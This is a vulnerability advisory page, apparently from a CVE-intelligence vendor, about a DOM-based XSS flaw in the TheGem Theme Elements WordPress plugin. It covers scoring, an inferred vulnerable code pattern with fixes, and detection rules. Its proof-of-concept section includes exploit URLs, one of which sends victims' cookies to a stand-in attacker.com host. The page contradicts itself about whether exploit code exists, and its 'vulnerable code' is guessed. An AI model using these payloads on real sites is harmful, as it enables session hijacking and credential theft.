CVE-2025-69360
Executive Summary
CVE-2025-69360 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the TheGem Theme Elements (for WPBakery) plugin, developed by CodexThemes for the WordPress ecosystem. The flaw resides in the thegem-elements component, which fails to properly neutralize user-controlled input during web page generation. An attacker can inject malicious JavaScript that executes in the victim's browser within the context of the vulnerable WordPress site, leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 5.11.0. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of TheGem theme, this vulnerability poses a significant risk to unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin ecosystem. TheGem Theme Elements is a commercial plugin distributed via CodexThemes and bundled with the TheGem theme. Users must ensure they obtain updates only from the official vendor. No open-source package (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch make it a persistent threat for unpatched sites.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS (CWE-79) in the thegem-elements component of TheGem Theme Elements for WPBakery. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The vulnerable JavaScript code reads user-controllable data from the DOM (e.g., document.location, document.referrer, or window.name) and writes it back to the page without proper sanitization.
Attack Flow:
- An attacker crafts a malicious URL containing a payload in a fragment identifier (e.g.,
#<script>alert(1)</script>) or a query parameter. - The victim clicks the link, which loads the vulnerable WordPress page.
- The
thegem-elementsJavaScript extracts the payload from the DOM source (e.g.,location.hash). - The script inserts the payload into the page via
innerHTMLor similar DOM manipulation, executing the attacker's JavaScript.
Root Cause: The plugin uses unsafe DOM APIs (e.g., document.write, innerHTML) without encoding or validating input. The WPBakery integration likely passes dynamic content from shortcodes or theme options directly into the DOM.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is inferred. The fix would involve replacing unsafe DOM writes with safe methods like textContent or using DOMPurify.
Vulnerable Code (JavaScript):
// Vulnerable: reads from location.hash and writes to DOM
var hash = window.location.hash.substring(1);
document.getElementById('thegem-element').innerHTML = hash;
Patched Code (Hypothetical):
// Patched: uses textContent to prevent XSS
var hash = window.location.hash.substring(1);
document.getElementById('thegem-element').textContent = hash;
Additional Mitigation: Input validation and output encoding using a library like DOMPurify:
var hash = window.location.hash.substring(1);
var clean = DOMPurify.sanitize(hash);
document.getElementById('thegem-element').innerHTML = clean;
Exploitation & Lab Setup
Red Team (Proof of Concept)
Prerequisites:
- A WordPress site running TheGem Theme Elements <= 5.11.0.
- A victim user with a modern browser.
Exploit URL:
https://victim-site.com/?page_id=123#<img src=x onerror=alert(document.cookie)>
Step-by-Step:
- Identify a page that uses a vulnerable
thegem-elementsshortcode (e.g.,[thegem_element]). - Append a fragment identifier with a JavaScript payload.
- Send the crafted link to the victim via phishing email or social engineering.
- When the victim clicks the link, the payload executes, exfiltrating cookies or performing actions on their behalf.
Advanced Payload (Session Hijacking):
https://victim-site.com/?page_id=123#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing suspicious fragment identifiers (e.g.,
<script,onerror,onload). - Use a Web Application Firewall (WAF) to block requests with XSS patterns in the URL fragment (though fragments are not sent to the server, so client-side detection is needed).
- Deploy Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the vulnerable plugin until a patch is released.
- Implement a CSP with
script-src 'self'andrequire-trusted-types-for 'script'. - Use browser extensions like NoScript to block inline scripts.
Indicators of Compromise (IOCs)
Network IOCs:
- Requests to
https://victim-site.com/*with fragment identifiers containing<script,onerror,onload, orjavascript:. - Outbound connections to attacker-controlled domains from the victim's browser (e.g.,
attacker.com/steal).
- Requests to
Host IOCs:
- Unexpected JavaScript execution in the browser console.
- Presence of malicious payloads in browser history or local storage.
File IOCs:
- Modified
thegem-elements.jsfile (if attacker gained write access). - Suspicious entries in WordPress database
wp_optionsorwp_postmetatables.
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_69360_DOM_XSS {
meta:
description = "Detects DOM-based XSS payloads targeting TheGem Theme Elements"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69360"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$payload4 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: DOM-Based XSS via TheGem Theme Elements
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-based XSS attacks against CVE-2025-69360
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in URL fragments (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-69360 DOM-Based XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-69360 DOM-Based XSS via onerror"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-69360 DOM-Based XSS via onload"; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-69360 DOM-Based XSS via javascript"; content:"javascript:"; http_uri; nocase; sid:1000004; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate
TheGem Theme Elements (for WPBakery)until a patch is released. - Apply a virtual patch – Use a WAF to block requests containing XSS patterns in URL fragments (note: fragments are not sent to the server, so client-side WAF or CSP is required).
- Implement Content Security Policy (CSP):
Content-Security-Policy: script-src 'self'; require-trusted-types-for 'script';
Long-Term Fix:
- Monitor the CodexThemes website for an official update.
- Replace the vulnerable plugin with an alternative if no patch is provided.
- Educate users about phishing attacks that exploit DOM-based XSS.
Workaround:
- Modify the
thegem-elements.jsfile to usetextContentinstead ofinnerHTML(requires code access and testing).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.